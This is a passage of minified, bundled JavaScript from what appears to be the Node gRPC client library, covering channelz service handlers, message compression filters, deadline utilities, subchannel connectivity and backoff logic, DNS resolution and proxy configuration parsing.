0,security:$,data:{keep_alives_sent:X.keepAlivesSent,streams_started:X.streamsStarted,streams_succeeded:X.streamsSucceeded,streams_failed:X.streamsFailed,last_local_stream_created_timestamp:BB(X.lastLocalStreamCreatedTimestamp),last_remote_stream_created_timestamp:BB(X.lastRemoteStreamCreatedTimestamp),messages_received:X.messagesReceived,messages_sent:X.messagesSent,last_message_received_timestamp:BB(X.lastMessageReceivedTimestamp),last_message_sent_timestamp:BB(X.lastMessageSentTimestamp),local_flow_control_window:X.localFlowControlWindow?{value:X.localFlowControlWindow}:null,remote_flow_control_window:X.remoteFlowControlWindow?{value:X.remoteFlowControlWindow}:null}};K(null,{socket:_})}function nY2(A,K){let q=parseInt(A.request.server_id,10),Y=wd.server.getElementByKey(q);if(Y===void 0){K({code:ZFA.Status.NOT_FOUND,details:"No server data found for id "+q});return}let z=parseInt(A.request.start_socket_id,10),w=parseInt(A.request.max_results,10)||ok6,J=Y.getInfo().sessionChildren.sockets,O=[],X;for(X=J.lowerBound(z);!X.equals(J.end())&&O.length<w;X=X.next())O.push($j1(X.pointer[1].ref));K(null,{socket_ref:O,end:X.equals(J.end())})}function cc7(){return{GetChannel:UY2,GetTopChannels:pY2,GetServer:dY2,GetServers:cY2,GetSubchannel:lY2,GetSocket:iY2,GetServerSockets:nY2}}var Oj1=null;function lc7(){if(Oj1)return Oj1;let A=ik6().loadSync,K=A("channelz.proto",{keepCase:!0,longs:String,enums:String,defaults:!0,oneofs:!0,includeDirs:[`${__dirname}/../../proto`]});return Oj1=(0,uY2.loadPackageDefinition)(K).grpc.channelz.v1.Channelz.service,Oj1}function rY2(){(0,xY2.registerAdminService)(lc7,cc7)}});var Gj1=v((rc7)=>{Object.defineProperty(rc7,"__esModule",{value:!0});rc7.getNextCallNumber=X22;var O22=0;function X22(){return O22++}});var tk6=v((ac7)=>{Object.defineProperty(ac7,"__esModule",{value:!0});ac7.CompressionAlgorithms=void 0;var oc7;(function(A){A[A.identity=0]="identity",A[A.deflate=1]="deflate",A[A.gzip=2]="gzip"})(oc7||(ac7.CompressionAlgorithms=oc7={}))});var ek6=v((ec7)=>{Object.defineProperty(ec7,"__esModule",{value:!0});ec7.BaseFilter=void 0;class tc7{async sendMetadata(A){return A}receiveMetadata(A){return A}async sendMessage(A){return A}async receiveMessage(A){return A}receiveTrailers(A){return A}}ec7.BaseFilter=tc7});var KC6=v((Jl7)=>{Object.defineProperty(Jl7,"__esModule",{value:!0});Jl7.CompressionFilterFactory=Jl7.CompressionFilter=void 0;var Zj1=CA("zlib"),ql7=tk6(),DjA=K9(),_22=ek6(),G22=Lw(),Z22=(A)=>{return typeof A==="number"&&typeof ql7.CompressionAlgorithms[A]==="string"};class WFA{async writeMessage(A,K){let q=A;if(K)q=await this.compressMessage(q);let Y=Buffer.allocUnsafe(q.length+5);return Y.writeUInt8(K?1:0,0),Y.writeUInt32BE(q.length,1),q.copy(Y,5),Y}async readMessage(A){let K=A.readUInt8(0)===1,q=A.slice(5);if(K)q=await this.decompressMessage(q);return q}}class jjA extends WFA{async compressMessage(A){return A}async writeMessage(A,K){let q=Buffer.allocUnsafe(A.length+5);return q.writeUInt8(0,0),q.writeUInt32BE(A.length,1),A.copy(q,5),q}decompressMessage(A){return Promise.reject(Error('Received compressed message but "grpc-encoding" header was identity'))}}class Yl7 extends WFA{constructor(A){super();this.maxRecvMessageLength=A}compressMessage(A){return new Promise((K,q)=>{Zj1.deflate(A,(Y,z)=>{if(Y)q(Y);else K(z)})})}decompressMessage(A){return new Promise((K,q)=>{let Y=0,z=[],w=Zj1.createInflate();w.on("data",(H)=>{if(z.push(H),Y+=H.byteLength,this.maxRecvMessageLength!==-1&&Y>this.maxRecvMessageLength)w.destroy(),q({code:DjA.Status.RESOURCE_EXHAUSTED,details:`Received message that decompresses to a size larger than ${this.maxRecvMessageLength}`})}),w.on("end",()=>{K(Buffer.concat(z))}),w.write(A),w.end()})}}class zl7 extends WFA{constructor(A){super();this.maxRecvMessageLength=A}compressMessage(A){return new Promise((K,q)=>{Zj1.gzip(A,(Y,z)=>{if(Y)q(Y);else K(z)})})}decompressMessage(A){return new Promise((K,q)=>{let Y=0,z=[],w=Zj1.createGunzip();w.on("data",(H)=>{if(z.push(H),Y+=H.byteLength,this.maxRecvMessageLength!==-1&&Y>this.maxRecvMessageLength)w.destroy(),q({code:DjA.Status.RESOURCE_EXHAUSTED,details:`Received message that decompresses to a size larger than ${this.maxRecvMessageLength}`})}),w.on("end",()=>{K(Buffer.concat(z))}),w.write(A),w.end()})}}class wl7 extends WFA{constructor(A){super();this.compressionName=A}compressMessage(A){return Promise.reject(Error(`Received message compressed with unsupported compression method ${this.compressionName}`))}decompressMessage(A){return Promise.reject(Error(`Compression method not supported: ${this.compressionName}`))}}function Kl7(A,K){switch(A){case"identity":return new jjA;case"deflate":return new Yl7(K);case"gzip":return new zl7(K);default:return new wl7(A)}}class AC6 extends _22.BaseFilter{constructor(A,K){var q,Y,z;super();this.sharedFilterConfig=K,this.sendCompression=new jjA,this.receiveCompression=new jjA,this.currentCompressionAlgorithm="identity";let w=A["grpc.default_compression_algorithm"];if(this.maxReceiveMessageLength=(q=A["grpc.max_receive_message_length"])!==null&&q!==void 0?q:DjA.DEFAULT_MAX_RECEIVE_MESSAGE_LENGTH,this.maxSendMessageLength=(Y=A["grpc.max_send_message_length"])!==null&&Y!==void 0?Y:DjA.DEFAULT_MAX_SEND_MESSAGE_LENGTH,w!==void 0)if(Z22(w)){let H=ql7.CompressionAlgorithms[w],J=(z=K.serverSupportedEncodingHeader)===null||z===void 0?void 0:z.split(",");if(!J||J.includes(H))this.currentCompressionAlgorithm=H,this.sendCompression=Kl7(this.currentCompressionAlgorithm,-1)}else G22.log(DjA.LogVerbosity.ERROR,`Invalid value provided for grpc.default_compression_algorithm option: ${w}`)}async sendMetadata(A){let K=await A;if(K.set("grpc-accept-encoding","identity,deflate,gzip"),K.set("accept-encoding","identity"),this.currentCompressionAlgorithm==="identity")K.remove("grpc-encoding");else K.set("grpc-encoding",this.currentCompressionAlgorithm);return K}receiveMetadata(A){let K=A.get("grpc-encoding");if(K.length>0){let Y=K[0];if(typeof Y==="string")this.receiveCompression=Kl7(Y,this.maxReceiveMessageLength)}A.remove("grpc-encoding");let q=A.get("grpc-accept-encoding")[0];if(q){if(this.sharedFilterConfig.serverSupportedEncodingHeader=q,!q.split(",").includes(this.currentCompressionAlgorithm))this.sendCompression=new jjA,this.currentCompressionAlgorithm="identity"}return A.remove("grpc-accept-encoding"),A}async sendMessage(A){var K;let q=await A;if(this.maxSendMessageLength!==-1&&q.message.length>this.maxSendMessageLength)throw{code:DjA.Status.RESOURCE_EXHAUSTED,details:`Attempted to send message with a size larger than ${this.maxSendMessageLength}`};let Y;if(this.sendCompression instanceof jjA)Y=!1;else Y=(((K=q.flags)!==null&&K!==void 0?K:0)&2)===0;return{message:await this.sendCompression.writeMessage(q.message,Y),flags:q.flags}}async receiveMessage(A){return this.receiveCompression.readMessage(await A)}}Jl7.CompressionFilter=AC6;class Hl7{constructor(A,K){this.options=K,this.sharedFilterConfig={}}createFilter(){return new AC6(this.options,this.sharedFilterConfig)}}Jl7.CompressionFilterFactory=Hl7});var DFA=v((Xl7)=>{Object.defineProperty(Xl7,"__esModule",{value:!0});Xl7.restrictControlPlaneStatusCode=j22;var mB=K9(),D22=[mB.Status.OK,mB.Status.INVALID_ARGUMENT,mB.Status.NOT_FOUND,mB.Status.ALREADY_EXISTS,mB.Status.FAILED_PRECONDITION,mB.Status.ABORTED,mB.Status.OUT_OF_RANGE,mB.Status.DATA_LOSS];function j22(A,K){if(D22.includes(A))return{code:mB.Status.INTERNAL,details:`Invalid status from control plane: ${A} ${mB.Status[A]} ${K}`};else return{code:A,details:K}}});var MjA=v(($l7)=>{Object.defineProperty($l7,"__esModule",{value:!0});$l7.minDeadline=P22;$l7.getDeadlineTimeoutString=f22;$l7.getRelativeTimeout=T22;$l7.deadlineToString=v22;$l7.formatDateDifference=E22;function P22(...A){let K=1/0;for(let q of A){let Y=q instanceof Date?q.getTime():q;if(Y<K)K=Y}return K}var V22=[["m",1],["S",1000],["M",60000],["H",3600000]];function f22(A){let K=new Date().getTime();if(A instanceof Date)A=A.getTime();let q=Math.max(A-K,0);for(let[Y,z]of V22){let w=q/z;if(w<1e8)return String(Math.ceil(w))+Y}throw Error("Deadline is too far in the future")}var N22=2147483647;function T22(A){let K=A instanceof Date?A.getTime():A,q=new Date().getTime(),Y=K-q;if(Y<0)return 0;else if(Y>N22)return 1/0;else return Y}function v22(A){if(A instanceof Date)return A.toISOString();else{let K=new Date(A);if(Number.isNaN(K.getTime()))return""+A;else return K.toISOString()}}function E22(A,K){return((K.getTime()-A.getTime())/1000).toFixed(3)+"s"}});var Wj1=v((_l7)=>{Object.defineProperty(_l7,"__esModule",{value:!0});_l7.FilterStackFactory=_l7.FilterStack=void 0;class qC6{constructor(A){this.filters=A}sendMetadata(A){let K=A;for(let q=0;q<this.filters.length;q++)K=this.filters[q].sendMetadata(K);return K}receiveMetadata(A){let K=A;for(let q=this.filters.length-1;q>=0;q--)K=this.filters[q].receiveMetadata(K);return K}sendMessage(A){let K=A;for(let q=0;q<this.filters.length;q++)K=this.filters[q].sendMessage(K);return K}receiveMessage(A){let K=A;for(let q=this.filters.length-1;q>=0;q--)K=this.filters[q].receiveMessage(K);return K}receiveTrailers(A){let K=A;for(let q=this.filters.length-1;q>=0;q--)K=this.filters[q].receiveTrailers(K);return K}push(A){this.filters.unshift(...A)}getFilters(){return this.filters}}_l7.FilterStack=qC6;class YC6{constructor(A){this.factories=A}push(A){this.factories.unshift(...A)}clone(){return new YC6([...this.factories])}createFilter(){return new qC6(this.factories.map((A)=>A.createFilter()))}}_l7.FilterStackFactory=YC6});var Ml7=v((Dl7)=>{Object.defineProperty(Dl7,"__esModule",{value:!0});Dl7.SingleSubchannelChannel=void 0;var S22=Gj1(),jFA=Gt(),h22=KC6(),b22=wP(),MFA=K9(),x22=DFA(),u22=MjA(),B22=Wj1(),zC6=UG(),m22=jS(),Dj1=zP();class Zl7{constructor(A,K,q,Y,z){var w,H;this.subchannel=A,this.method=K,this.options=Y,this.callNumber=z,this.childCall=null,this.pendingMessage=null,this.readPending=!1,this.halfClosePending=!1,this.pendingStatus=null,this.readFilterPending=!1,this.writeFilterPending=!1;let J=this.method.split("/"),O="";if(J.length>=2)O=J[1];let X=(H=(w=(0,Dj1.splitHostPort)(this.options.host))===null||w===void 0?void 0:w.host)!==null&&H!==void 0?H:"localhost";this.serviceUrl=`https://${X}/${O}`;let $=(0,u22.getRelativeTimeout)(Y.deadline);if($!==1/0)if($<=0)this.cancelWithStatus(MFA.Status.DEADLINE_EXCEEDED,"Deadline exceeded");else setTimeout(()=>{this.cancelWithStatus(MFA.Status.DEADLINE_EXCEEDED,"Deadline exceeded")},$);this.filterStack=q.createFilter()}cancelWithStatus(A,K){if(this.childCall)this.childCall.cancelWithStatus(A,K);else this.pendingStatus={code:A,details:K,metadata:new zC6.Metadata}}getPeer(){var A,K;return(K=(A=this.childCall)===null||A===void 0?void 0:A.getPeer())!==null&&K!==void 0?K:this.subchannel.getAddress()}async start(A,K){if(this.pendingStatus){K.onReceiveStatus(this.pendingStatus);return}if(this.subchannel.getConnectivityState()!==b22.ConnectivityState.READY){K.onReceiveStatus({code:MFA.Status.UNAVAILABLE,details:"Subchannel not ready",metadata:new zC6.Metadata});return}let q=await this.filterStack.sendMetadata(Promise.resolve(A)),Y;try{Y=await this.subchannel.getCallCredentials().generateMetadata({method_name:this.method,service_url:this.serviceUrl})}catch(w){let H=w,{code:J,details:O}=(0,x22.restrictControlPlaneStatusCode)(typeof H.code==="number"?H.code:MFA.Status.UNKNOWN,`Getting metadata from plugin failed with error: ${H.message}`);K.onReceiveStatus({code:J,details:O,metadata:new zC6.Metadata});return}Y.merge(q);let z={onReceiveMetadata:async(w)=>{K.onReceiveMetadata(await this.filterStack.receiveMetadata(w))},onReceiveMessage:async(w)=>{this.readFilterPending=!0;let H=await this.filterStack.receiveMessage(w);if(this.readFilterPending=!1,K.onReceiveMessage(H),this.pendingStatus)K.onReceiveStatus(this.pendingStatus)},onReceiveStatus:async(w)=>{let H=await this.filterStack.receiveTrailers(w);if(this.readFilterPending)this.pendingStatus=H;else K.onReceiveStatus(H)}};if(this.childCall=this.subchannel.createCall(Y,this.options.host,this.method,z),this.readPending)this.childCall.startRead();if(this.pendingMessage)this.childCall.sendMessageWithContext(this.pendingMessage.context,this.pendingMessage.message);if(this.halfClosePending&&!this.writeFilterPending)this.childCall.halfClose()}async sendMessageWithContext(A,K){this.writeFilterPending=!0;let q=await this.filterStack.sendMessage(Promise.resolve({message:K,flags:A.flags}));if(this.writeFilterPending=!1,this.childCall){if(this.childCall.sendMessageWithContext(A,q.message),this.halfClosePending)this.childCall.halfClose()}else this.pendingMessage={context:A,message:q.message}}startRead(){if(this.childCall)this.childCall.startRead();else this.readPending=!0}halfClose(){if(this.childCall&&!this.writeFilterPending)this.childCall.halfClose();else this.halfClosePending=!0}getCallNumber(){return this.callNumber}setCredentials(A){throw Error("Method not implemented.")}getAuthContext(){if(this.childCall)return this.childCall.getAuthContext();else return null}}class Wl7{constructor(A,K,q){if(this.subchannel=A,this.target=K,this.channelzEnabled=!1,this.channelzTrace=new jFA.ChannelzTrace,this.callTracker=new jFA.ChannelzCallTracker,this.childrenTracker=new jFA.ChannelzChildrenTracker,this.channelzEnabled=q["grpc.enable_channelz"]!==0,this.channelzRef=(0,jFA.registerChannelzChannel)((0,Dj1.uriToString)(K),()=>({target:`${(0,Dj1.uriToString)(K)} (${A.getAddress()})`,state:this.subchannel.getConnectivityState(),trace:this.channelzTrace,callTracker:this.callTracker,children:this.childrenTracker.getChildLists()}),this.channelzEnabled),this.channelzEnabled)this.childrenTracker.refChild(A.getChannelzRef());this.filterStackFactory=new B22.FilterStackFactory([new h22.CompressionFilterFactory(this,q)])}close(){if(this.channelzEnabled)this.childrenTracker.unrefChild(this.subchannel.getChannelzRef());(0,jFA.unregisterChannelzRef)(this.channelzRef)}getTarget(){return(0,Dj1.uriToString)(this.target)}getConnectivityState(A){throw Error("Method not implemented.")}watchConnectivityState(A,K,q){throw Error("Method not implemented.")}getChannelzRef(){return this.channelzRef}createCall(A,K){let q={deadline:K,host:(0,m22.getDefaultAuthority)(this.target),flags:MFA.Propagate.DEFAULTS,parentCall:null};return new Zl7(this.subchannel,A,this.filterStackFactory,q,(0,S22.getNextCallNumber)())}}Dl7.SingleSubchannelChannel=Wl7});var Nl7=v((Vl7)=>{Object.defineProperty(Vl7,"__esModule",{value:!0});Vl7.Subchannel=void 0;var Kw=wP(),g22=YjA(),wC6=Lw(),jj1=K9(),F22=zP(),Q22=mf(),gB=Gt(),U22=Ml7(),p22="subchannel",d22=2147483647;class Pl7{constructor(A,K,q,Y,z){var w;this.channelTarget=A,this.subchannelAddress=K,this.options=q,this.connector=z,this.connectivityState=Kw.ConnectivityState.IDLE,this.transport=null,this.continueConnecting=!1,this.stateListeners=new Set,this.refcount=0,this.channelzEnabled=!0,this.dataProducers=new Map,this.subchannelChannel=null;let H={initialDelay:q["grpc.initial_reconnect_backoff_ms"],maxDelay:q["grpc.max_reconnect_backoff_ms"]};if(this.backoffTimeout=new g22.BackoffTimeout(()=>{this.handleBackoffTimer()},H),this.backoffTimeout.unref(),this.subchannelAddressString=(0,Q22.subchannelAddressToString)(K),this.keepaliveTime=(w=q["grpc.keepalive_time_ms"])!==null&&w!==void 0?w:-1,q["grpc.enable_channelz"]===0)this.channelzEnabled=!1,this.channelzTrace=new gB.ChannelzTraceStub,this.callTracker=new gB.ChannelzCallTrackerStub,this.childrenTracker=new gB.ChannelzChildrenTrackerStub,this.streamTracker=new gB.ChannelzCallTrackerStub;else this.channelzTrace=new gB.ChannelzTrace,this.callTracker=new gB.ChannelzCallTracker,this.childrenTracker=new gB.ChannelzChildrenTracker,this.streamTracker=new gB.ChannelzCallTracker;this.channelzRef=(0,gB.registerChannelzSubchannel)(this.subchannelAddressString,()=>this.getChannelzInfo(),this.channelzEnabled),this.channelzTrace.addTrace("CT_INFO","Subchannel created"),this.trace("Subchannel constructed with options "+JSON.stringify(q,void 0,2)),this.secureConnector=Y._createSecureConnector(A,q)}getChannelzInfo(){return{state:this.connectivityState,trace:this.channelzTrace,callTracker:this.callTracker,children:this.childrenTracker.getChildLists(),target:this.subchannelAddressString}}trace(A){wC6.trace(jj1.LogVerbosity.DEBUG,p22,"("+this.channelzRef.id+") "+this.subchannelAddressString+" "+A)}refTrace(A){wC6.trace(jj1.LogVerbosity.DEBUG,"subchannel_refcount","("+this.channelzRef.id+") "+this.subchannelAddressString+" "+A)}handleBackoffTimer(){if(this.continueConnecting)this.transitionToState([Kw.ConnectivityState.TRANSIENT_FAILURE],Kw.ConnectivityState.CONNECTING);else this.transitionToState([Kw.ConnectivityState.TRANSIENT_FAILURE],Kw.ConnectivityState.IDLE)}startBackoff(){this.backoffTimeout.runOnce()}stopBackoff(){this.backoffTimeout.stop(),this.backoffTimeout.reset()}startConnectingInternal(){let A=this.options;if(A["grpc.keepalive_time_ms"]){let K=Math.min(this.keepaliveTime,d22);A=Object.assign(Object.assign({},A),{"grpc.keepalive_time_ms":K})}this.connector.connect(this.subchannelAddress,this.secureConnector,A).then((K)=>{if(this.transitionToState([Kw.ConnectivityState.CONNECTING],Kw.ConnectivityState.READY)){if(this.transport=K,this.channelzEnabled)this.childrenTracker.refChild(K.getChannelzRef());K.addDisconnectListener((q)=>{if(this.transitionToState([Kw.ConnectivityState.READY],Kw.ConnectivityState.IDLE),q&&this.keepaliveTime>0)this.keepaliveTime*=2,wC6.log(jj1.LogVerbosity.ERROR,`Connection to ${(0,F22.uriToString)(this.channelTarget)} at ${this.subchannelAddressString} rejected by server because of excess pings. Increasing ping interval to ${this.keepaliveTime} ms`)})}else K.shutdown()},(K)=>{this.transitionToState([Kw.ConnectivityState.CONNECTING],Kw.ConnectivityState.TRANSIENT_FAILURE,`${K}`)})}transitionToState(A,K,q){var Y,z;if(A.indexOf(this.connectivityState)===-1)return!1;if(q)this.trace(Kw.ConnectivityState[this.connectivityState]+" -> "+Kw.ConnectivityState[K]+' with error "'+q+'"');else this.trace(Kw.ConnectivityState[this.connectivityState]+" -> "+Kw.ConnectivityState[K]);if(this.channelzEnabled)this.channelzTrace.addTrace("CT_INFO","Connectivity state change to "+Kw.ConnectivityState[K]);let w=this.connectivityState;switch(this.connectivityState=K,K){case Kw.ConnectivityState.READY:this.stopBackoff();break;case Kw.ConnectivityState.CONNECTING:this.startBackoff(),this.startConnectingInternal(),this.continueConnecting=!1;break;case Kw.ConnectivityState.TRANSIENT_FAILURE:if(this.channelzEnabled&&this.transport)this.childrenTracker.unrefChild(this.transport.getChannelzRef());if((Y=this.transport)===null||Y===void 0||Y.shutdown(),this.transport=null,!this.backoffTimeout.isRunning())process.nextTick(()=>{this.handleBackoffTimer()});break;case Kw.ConnectivityState.IDLE:if(this.channelzEnabled&&this.transport)this.childrenTracker.unrefChild(this.transport.getChannelzRef());(z=this.transport)===null||z===void 0||z.shutdown(),this.transport=null;break;default:throw Error(`Invalid state: unknown ConnectivityState ${K}`)}for(let H of this.stateListeners)H(this,w,K,this.keepaliveTime,q);return!0}ref(){this.refTrace("refcount "+this.refcount+" -> "+(this.refcount+1)),this.refcount+=1}unref(){if(this.refTrace("refcount "+this.refcount+" -> "+(this.refcount-1)),this.refcount-=1,this.refcount===0)this.channelzTrace.addTrace("CT_INFO","Shutting down"),(0,gB.unregisterChannelzRef)(this.channelzRef),this.secureConnector.destroy(),process.nextTick(()=>{this.transitionToState([Kw.ConnectivityState.CONNECTING,Kw.ConnectivityState.READY],Kw.ConnectivityState.IDLE)})}unrefIfOneRef(){if(this.refcount===1)return this.unref(),!0;return!1}createCall(A,K,q,Y){if(!this.transport)throw Error("Cannot create call, subchannel not READY");let z;if(this.channelzEnabled)this.callTracker.addCallStarted(),this.streamTracker.addCallStarted(),z={onCallEnd:(w)=>{if(w.code===jj1.Status.OK)this.callTracker.addCallSucceeded();else this.callTracker.addCallFailed()}};else z={};return this.transport.createCall(A,K,q,Y,z)}startConnecting(){process.nextTick(()=>{if(!this.transitionToState([Kw.ConnectivityState.IDLE],Kw.ConnectivityState.CONNECTING)){if(this.connectivityState===Kw.ConnectivityState.TRANSIENT_FAILURE)this.continueConnecting=!0}})}getConnectivityState(){return this.connectivityState}addConnectivityStateListener(A){this.stateListeners.add(A)}removeConnectivityStateListener(A){this.stateListeners.delete(A)}resetBackoff(){process.nextTick(()=>{this.backoffTimeout.reset(),this.transitionToState([Kw.ConnectivityState.TRANSIENT_FAILURE],Kw.ConnectivityState.CONNECTING)})}getAddress(){return this.subchannelAddressString}getChannelzRef(){return this.channelzRef}isHealthy(){return!0}addHealthStateWatcher(A){}removeHealthStateWatcher(A){}getRealSubchannel(){return this}realSubchannelEquals(A){return A.getRealSubchannel()===this}throttleKeepalive(A){if(A>this.keepaliveTime)this.keepaliveTime=A}getCallCredentials(){return this.secureConnector.getCallCredentials()}getChannel(){if(!this.subchannelChannel)this.subchannelChannel=new U22.SingleSubchannelChannel(this,this.channelTarget,this.options);return this.subchannelChannel}addDataWatcher(A){throw Error("Not implemented")}getOrCreateDataProducer(A,K){let q=this.dataProducers.get(A);if(q)return q;let Y=K(this);return this.dataProducers.set(A,Y),Y}removeDataProducer(A){this.dataProducers.delete(A)}}Vl7.Subchannel=Pl7});var El7=v((Tl7)=>{var HC6;Object.defineProperty(Tl7,"__esModule",{value:!0});Tl7.GRPC_NODE_USE_ALTERNATIVE_RESOLVER=void 0;Tl7.GRPC_NODE_USE_ALTERNATIVE_RESOLVER=((HC6=process.env.GRPC_NODE_USE_ALTERNATIVE_RESOLVER)!==null&&HC6!==void 0?HC6:"false")==="true"});var XC6=v((yl7)=>{Object.defineProperty(yl7,"__esModule",{value:!0});yl7.DEFAULT_PORT=void 0;yl7.setup=s22;var kl7=jS(),JC6=CA("dns"),c22=lE6(),OC6=K9(),PjA=r5A(),l22=UG(),i22=Lw(),n22=K9(),Zt=zP(),Cl7=CA("net"),r22=YjA(),Ll7=El7(),o22="dns_resolver";function FB(A){i22.trace(n22.LogVerbosity.DEBUG,o22,A)}yl7.DEFAULT_PORT=443;var a22=30000;class Rl7{constructor(A,K,q){var Y,z,w;if(this.target=A,this.listener=K,this.pendingLookupPromise=null,this.pendingTxtPromise=null,this.latestLookupResult=null,this.latestServiceConfigResult=null,this.continueResolving=!1,this.isNextResolutionTimerRunning=!1,this.isServiceConfigEnabled=!0,this.returnedIpResult=!1,this.alternativeResolver=new JC6.promises.Resolver,FB("Resolver constructed for target "+(0,Zt.uriToString)(A)),A.authority)this.alternativeResolver.setServers([A.authority]);let H=(0,Zt.splitHostPort)(A.path);if(H===null)this.ipResult=null,this.dnsHostname=null,this.port=null;else if((0,Cl7.isIPv4)(H.host)||(0,Cl7.isIPv6)(H.host))this.ipResult=[{addresses:[{host:H.host,port:(Y=H.port)!==null&&Y!==void 0?Y:yl7.DEFAULT_PORT}]}],this.dnsHostname=null,this.port=null;else this.ipResult=null,this.dnsHostname=H.host,this.port=(z=H.port)!==null&&z!==void 0?z:yl7.DEFAULT_PORT;if(this.percentage=Math.random()*100,q["grpc.service_config_disable_resolution"]===1)this.isServiceConfigEnabled=!1;this.defaultResolutionError={code:OC6.Status.UNAVAILABLE,details:`Name resolution failed for target ${(0,Zt.uriToString)(this.target)}`,metadata:new l22.Metadata};let J={initialDelay:q["grpc.initial_reconnect_backoff_ms"],maxDelay:q["grpc.max_reconnect_backoff_ms"]};this.backoff=new r22.BackoffTimeout(()=>{if(this.continueResolving)this.startResolutionWithBackoff()},J),this.backoff.unref(),this.minTimeBetweenResolutionsMs=(w=q["grpc.dns_min_time_between_resolutions_ms"])!==null&&w!==void 0?w:a22,this.nextResolutionTimer=setTimeout(()=>{},0),clearTimeout(this.nextResolutionTimer)}startResolution(){if(this.ipResult!==null){if(!this.returnedIpResult)FB("Returning IP address for target "+(0,Zt.uriToString)(this.target)),setImmediate(()=>{this.listener((0,PjA.statusOrFromValue)(this.ipResult),{},null,"")}),this.returnedIpResult=!0;this.backoff.stop(),this.backoff.reset(),this.stopNextResolutionTimer();return}if(this.dnsHostname===null)FB("Failed to parse DNS address "+(0,Zt.uriToString)(this.target)),setImmediate(()=>{this.listener((0,PjA.statusOrFromError)({code:OC6.Status.UNAVAILABLE,details:`Failed to parse DNS address ${(0,Zt.uriToString)(this.target)}`}),{},null,"")}),this.stopNextResolutionTimer();else{if(this.pendingLookupPromise!==null)return;FB("Looking up DNS hostname "+this.dnsHostname),this.latestLookupResult=null;let A=this.dnsHostname;if(this.pendingLookupPromise=this.lookup(A),this.pendingLookupPromise.then((K)=>{if(this.pendingLookupPromise===null)return;this.pendingLookupPromise=null,this.latestLookupResult=(0,PjA.statusOrFromValue)(K.map((z)=>({addresses:[z]})));let q="["+K.map((z)=>z.host+":"+z.port).join(",")+"]";FB("Resolved addresses for target "+(0,Zt.uriToString)(this.target)+": "+q);let Y=this.listener(this.latestLookupResult,{},this.latestServiceConfigResult,"");this.handleHealthStatus(Y)},(K)=>{if(this.pendingLookupPromise===null)return;FB("Resolution error for target "+(0,Zt.uriToString)(this.target)+": "+K.message),this.pendingLookupPromise=null,this.stopNextResolutionTimer(),this.listener((0,PjA.statusOrFromError)(this.defaultResolutionError),{},this.latestServiceConfigResult,"")}),this.isServiceConfigEnabled&&this.pendingTxtPromise===null)this.pendingTxtPromise=this.resolveTxt(A),this.pendingTxtPromise.then((K)=>{if(this.pendingTxtPromise===null)return;this.pendingTxtPromise=null;let q;try{if(q=(0,c22.extractAndSelectServiceConfig)(K,this.percentage),q)this.latestServiceConfigResult=(0,PjA.statusOrFromValue)(q);else this.latestServiceConfigResult=null}catch(Y){this.latestServiceConfigResult=(0,PjA.statusOrFromError)({code:OC6.Status.UNAVAILABLE,details:`Parsing service config failed with error ${Y.message}`})}if(this.latestLookupResult!==null)this.listener(this.latestLookupResult,{},this.latestServiceConfigResult,"")},(K)=>{})}}handleHealthStatus(A){if(A)this.backoff.stop(),this.backoff.reset();else this.continueResolving=!0}async lookup(A){if(Ll7.GRPC_NODE_USE_ALTERNATIVE_RESOLVER){FB("Using alternative DNS resolver.");let q=await Promise.allSettled([this.alternativeResolver.resolve4(A),this.alternativeResolver.resolve6(A)]);if(q.every((Y)=>Y.status==="rejected"))throw Error(q[0].reason);return q.reduce((Y,z)=>{return z.status==="fulfilled"?[...Y,...z.value]:Y},[]).map((Y)=>({host:Y,port:+this.port}))}return(await JC6.promises.lookup(A,{all:!0})).map((q)=>({host:q.address,port:+this.port}))}async resolveTxt(A){if(Ll7.GRPC_NODE_USE_ALTERNATIVE_RESOLVER)return FB("Using alternative DNS resolver."),this.alternativeResolver.resolveTxt(A);return JC6.promises.resolveTxt(A)}startNextResolutionTimer(){var A,K;clearTimeout(this.nextResolutionTimer),this.nextResolutionTimer=setTimeout(()=>{if(this.stopNextResolutionTimer(),this.continueResolving)this.startResolutionWithBackoff()},this.minTimeBetweenResolutionsMs),(K=(A=this.nextResolutionTimer).unref)===null||K===void 0||K.call(A),this.isNextResolutionTimerRunning=!0}stopNextResolutionTimer(){clearTimeout(this.nextResolutionTimer),this.isNextResolutionTimerRunning=!1}startResolutionWithBackoff(){if(this.pendingLookupPromise===null)this.continueResolving=!1,this.backoff.runOnce(),this.startNextResolutionTimer(),this.startResolution()}updateResolution(){if(this.pendingLookupPromise===null)if(this.isNextResolutionTimerRunning||this.backoff.isRunning()){if(this.isNextResolutionTimerRunning)FB('resolution update delayed by "min time between resolutions" rate limit');else FB("resolution update delayed by backoff timer until "+this.backoff.getEndTime().toISOString());this.continueResolving=!0}else this.startResolutionWithBackoff()}destroy(){this.continueResolving=!1,this.backoff.reset(),this.backoff.stop(),this.stopNextResolutionTimer(),this.pendingLookupPromise=null,this.pendingTxtPromise=null,this.latestLookupResult=null,this.latestServiceConfigResult=null,this.returnedIpResult=!1}static getDefaultAuthority(A){return A.path}}function s22(){(0,kl7.registerResolver)("dns",Rl7),(0,kl7.registerDefaultScheme)("dns")}});var $C6=v((xl7)=>{Object.defineProperty(xl7,"__esModule",{value:!0});xl7.parseCIDR=hl7;xl7.mapProxyName=Oz2;xl7.getProxiedConnection=Xz2;var PFA=Lw(),VjA=K9(),Sl7=CA("net"),e22=CA("http"),Az2=Lw(),Il7=mf(),VFA=zP(),Kz2=CA("url"),qz2=XC6(),Yz2="proxy";function fjA(A){Az2.trace(VjA.LogVerbosity.DEBUG,Yz2,A)}function zz2(){let A="",K="";if(process.env.grpc_proxy)K="grpc_proxy",A=process.env.grpc_proxy;else if(process.env.https_proxy)K="https_proxy",A=process.env.https_proxy;else if(process.env.http_proxy)K="http_proxy",A=process.env.http_proxy;else return{};let q;try{q=new Kz2.URL(A)}catch(J){return(0,PFA.log)(VjA.LogVerbosity.ERROR,`cannot parse value of "${K}" env var`),{}}if(q.protocol!=="http:")return(0,PFA.log)(VjA.LogVerbosity.ERROR,`"${q.protocol}" scheme not supported in proxy URI`),{};let Y=null;if(q.username)if(q.password)(0,PFA.log)(VjA.LogVerbosity.INFO,"userinfo found in proxy URI"),Y=decodeURIComponent(`${q.username}:${q.password}`);else Y=q.username;let{hostname:z,port:w}=q;if(w==="")w="80";let H={address:`${z}:${w}`};if(Y)H.creds=Y;return fjA("Proxy server "+H.address+" set by environment variable "+K),H}function wz2(){let A=process.env.no_grpc_proxy,K="no_grpc_proxy";if(!A)A=process.env.no_proxy,K="no_proxy";if(A)return fjA("No proxy server list set by environment variable "+K),A.split(",");else return[]}function hl7(A){let 